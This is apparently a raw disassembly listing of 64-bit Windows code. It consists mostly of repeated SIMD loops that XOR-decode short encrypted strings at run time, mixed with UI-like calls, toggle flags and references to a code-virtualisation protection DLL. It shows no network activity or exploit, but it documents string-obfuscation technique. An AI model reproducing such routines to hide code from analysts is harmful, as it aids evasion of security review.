shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x1400594f0
cmp r8d, 0x17
jge 0x140059621
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x1400595f0
mov edx, ebx
mov rcx, r10
call fcn.140042da0
jmp 0x1400597e9
lea rcx, [rbp + 0x3d8]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xc40]
mov r8d, edx
call fcn.1400427e0
lea rdx, [rbp + 0xc50]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0xc60]
lea rcx, [rbp + 0x4a]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063410
mov r10, rax
cmp byte [rax + 0xf], r15b
je 0x1400597e1
cmp r13d, 2
jl 0x1400597aa
movdqa xmmword [rbp], xmm11
mov edx, r15d
mov r8d, dword [rbp]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x10
jl 0x1400596c0
jmp 0x1400597e1
mov r9, r10
mov r8d, r15d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1400597b0
mov rcx, r10
call fcn.140042da0
call fcn.1400124c0
movss xmm2, dword [0x14007864c]
lea rcx, [rbp + 0x3e0]
movss xmm1, dword [0x1400785f8]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov rcx, qword [0x140086d98]
call fcn.140012400
movss xmm2, dword [0x1400785c0]
lea rcx, [rbp + 0x3e8]
movss xmm1, dword [0x140078684]
call fcn.140001080
mov r9, rax
lea rdx, [0x140086df9]
xor r8d, r8d
lea rcx, [0x140070898]
call fcn.14004c980
test al, al
je 0x140059870
mov byte [0x140086dfa], r15b
mov byte [0x140086dfe], r15b
mov byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
cmp byte [0x140086df9], r15b
movaps xmm1, xmm14
movss xmm2, dword [0x14007864c]
je 0x140059a56
lea rcx, [rbp + 0x3f0]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xa7
mov dword [rsp + 0x20], 0xff
mov r9d, 5
lea rcx, [rbp + 0xc70]
mov r8d, 0xf7
call fcn.1400427e0
lea rdx, [rbp + 0xc80]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0xd30]
lea rcx, [rbp + 0x4b]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063420
mov r10, rax
cmp byte [rax + 0x10], r15b
je 0x140059c11
mov r8d, r15d
cmp r13d, 2
jl 0x140059a11
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x140059920
cmp r8d, 0x11
jge 0x140059c11
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140059a20
jmp 0x140059c11
lea rcx, [rbp + 0x3f8]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xc90]
mov r8d, edx
call fcn.1400427e0
lea rdx, [rbp + 0xca0]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0xd18]
lea rcx, [rbp + 0x4c]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063420
mov r10, rax
cmp byte [rax + 0x10], r15b
je 0x140059c11
mov r8d, r15d
cmp r13d, 2
jl 0x140059bd1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x140059ae0
cmp r8d, 0x11
jge 0x140059c11
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140059be0
lea rdx, [0x140086268]
mov rcx, r10
call fcn.140042da0
movss xmm2, dword [0x140078654]
lea rcx, [rbp + 0x400]
movss xmm1, dword [0x1400785f8]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov rcx, qword [0x140086d98]
call fcn.140012400
movss xmm2, dword [0x1400785c0]
lea rcx, [rbp + 0x408]
movss xmm1, dword [0x140078684]
call fcn.140001080
mov r9, rax
lea rdx, [0x140086dfe]
xor r8d, r8d
lea rcx, str.
call fcn.14004c980
test al, al
je 0x140059ca2
mov byte [0x140086dfa], r15b
mov byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
mov byte [0x140086df9], r15b
cmp byte [0x140086dfe], r15b
movaps xmm1, xmm14
movss xmm2, dword [0x140078654]
je 0x140059e86
lea rcx, [rbp + 0x410]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xa7
mov dword [rsp + 0x20], 0xff
mov r9d, 5
lea rcx, [rbp + 0xcb0]
mov r8d, 0xf7
call fcn.1400427e0
lea rdx, [rbp + 0xcc0]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0xf48]
lea rcx, [rbp + 0x4d]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063440
mov r10, rax
cmp byte [rax + 0x18], r15b
je 0x14005a041
mov r8d, r15d
cmp r13d, 2
jl 0x140059e41
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140059d50
cmp r8d, 0x19
jge 0x14005a041
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140059e50
jmp 0x14005a041
lea rcx, [rbp + 0x418]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xcd0]
mov r8d, edx
call fcn.1400427e0
lea rdx, [rbp + 0xce0]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0xfc8]
lea rcx, [rbp + 0x4e]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063440
mov r10, rax
cmp byte [rax + 0x18], r15b
je 0x14005a041
mov r8d, r15d
cmp r13d, 2
jl 0x14005a001
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140059f10
cmp r8d, 0x19
jge 0x14005a041
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x14005a010
mov rcx, r10
call fcn.140042da0
cmp byte [0x140086e3c], r15b
je 0x14005a489
movss xmm2, dword [0x140078658]
lea rcx, [rbp + 0x420]
movss xmm1, dword [0x1400785f8]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov rcx, qword [0x140086d98]
call fcn.140012400
movss xmm2, dword [0x1400785c0]
lea rcx, [rbp + 0x428]
movss xmm1, dword [0x140078684]
call fcn.140001080
mov r9, rax
lea rdx, [0x140086dfa]
xor r8d, r8d
lea rcx, [0x14006feb8]
call fcn.14004c980
test al, al
je 0x14005a0d8
mov byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
mov byte [0x140086dfe], r15b
mov byte [0x140086df9], r15b
cmp byte [0x140086dfa], r15b
movaps xmm1, xmm14
movss xmm2, dword [0x140078658]
je 0x14005a2c5
lea rcx, [rbp + 0x430]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xa7
mov dword [rsp + 0x20], 0xff
mov r9d, 5
lea rcx, [rbp + 0xcf0]
mov r8d, 0xf7
call fcn.1400427e0
lea rdx, [rbp + 0x760]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0x3010]
lea rcx, [rbp + 0x4f]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063470
mov r10, rax
cmp byte [rax + 0x21], r15b
je 0x14005a2b1
mov r8d, r15d
cmp r13d, 2
jl 0x14005a271
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005a180
cmp r8d, 0x22
jge 0x14005a2b1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x14005a280
lea rdx, [0x140051c80]
mov rcx, r10
call fcn.140042da0
jmp 0x14005a489
lea rcx, [rbp + 0x438]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x770]
mov r8d, edx
call fcn.1400427e0
lea rdx, [rbp + 0x780]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0x2fe8]
lea rcx, [rbp + 0x50]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063470
mov r10, rax
cmp byte [rax + 0x21], r15b
je 0x14005a481
mov r8d, r15d
cmp r13d, 2
jl 0x14005a441
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005a350
cmp r8d, 0x22
jge 0x14005a481
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x14005a450
mov rcx, r10
call fcn.140042da0
cmp byte [0x140086e3a], r15b
je 0x14005ad29
movss xmm2, dword [0x140078658]
lea rcx, [rbp + 0x440]
movss xmm1, dword [0x1400785f8]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov rcx, qword [0x140086d98]
call fcn.140012400
movss xmm2, dword [0x1400785c0]
lea rcx, [rbp + 0x448]
movss xmm1, dword [0x140078684]
call fcn.140001080
mov r9, rax
lea rdx, [0x140086dfa]
xor r8d, r8d
lea rcx, [0x14006feb8]
call fcn.14004c980
test al, al
je 0x14005a518
mov byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
mov byte [0x140086dfe], r15b
mov byte [0x140086df9], r15b
cmp byte [0x140086dfa], r15b
movaps xmm1, xmm14
movss xmm2, dword [0x140078658]
je 0x14005a6f6
lea rcx, [rbp + 0x450]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xa7
mov dword [rsp + 0x20], 0xff
mov r9d, 5
lea rcx, [rbp + 0x790]
mov r8d, 0xf7
call fcn.1400427e0
lea rdx, [rbp + 0x7a0]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0x2f70]
lea rcx, [rbp + 0x51]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063470
mov r10, rax
cmp byte [rax + 0x21], r15b
je 0x14005a8b1
mov r8d, r15d
cmp r13d, 2
jl 0x14005a6b1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005a5c0
cmp r8d, 0x22
jge 0x14005a8b1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x14005a6c0
jmp 0x14005a8b1
lea rcx, [rbp + 0x458]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x7b0]
mov r8d, edx
call fcn.1400427e0
lea rdx, [rbp + 0x7c0]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0x2f98]
lea rcx, [rbp + 0x52]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063470
mov r10, rax
cmp byte [rax + 0x21], r15b
je 0x14005a8b1
mov r8d, r15d
cmp r13d, 2
jl 0x14005a871
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005a780
cmp r8d, 0x22
jge 0x14005a8b1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x14005a880
mov rcx, r10
call fcn.140042da0
movss xmm2, dword [0x140078660]
lea rcx, [rbp + 0x1a0]
movss xmm1, dword [0x1400785f8]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xa7
mov dword [rsp + 0x20], 0xff
mov r9d, 5
lea rcx, [rbp + 0x7d0]
mov r8d, 0xf7
call fcn.1400427e0
lea rdx, [rbp + 0x7e0]
mov rcx, rax
call fcn.14002b020
mov rcx, qword [0x140086d98]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140012400
movss xmm2, dword [0x1400785c0]
lea rcx, [rbp + 0x1a8]
movss xmm1, dword [0x140078684]
call fcn.140001080
mov r9, rax
lea rdx, [0x1400860ad]
xor r8d, r8d
lea rcx, [0x140077c10]
call fcn.14004c980
test al, al
je 0x14005a97b
mov byte [0x140086dfa], r15b
mov byte [0x140086dfe], r15b
mov byte [0x140086df9], r15b
cmp byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
movaps xmm1, xmm14
movss xmm2, dword [0x140078660]
je 0x14005ab65
lea rcx, [rbp + 0x1b0]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xa7
mov dword [rsp + 0x20], 0xff
mov r9d, 5
lea rcx, [rbp + 0x7f0]
mov r8d, 0xf7
call fcn.1400427e0
lea rdx, [rbp + 0x800]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0x3060]
lea rcx, [rbp + 0x53]
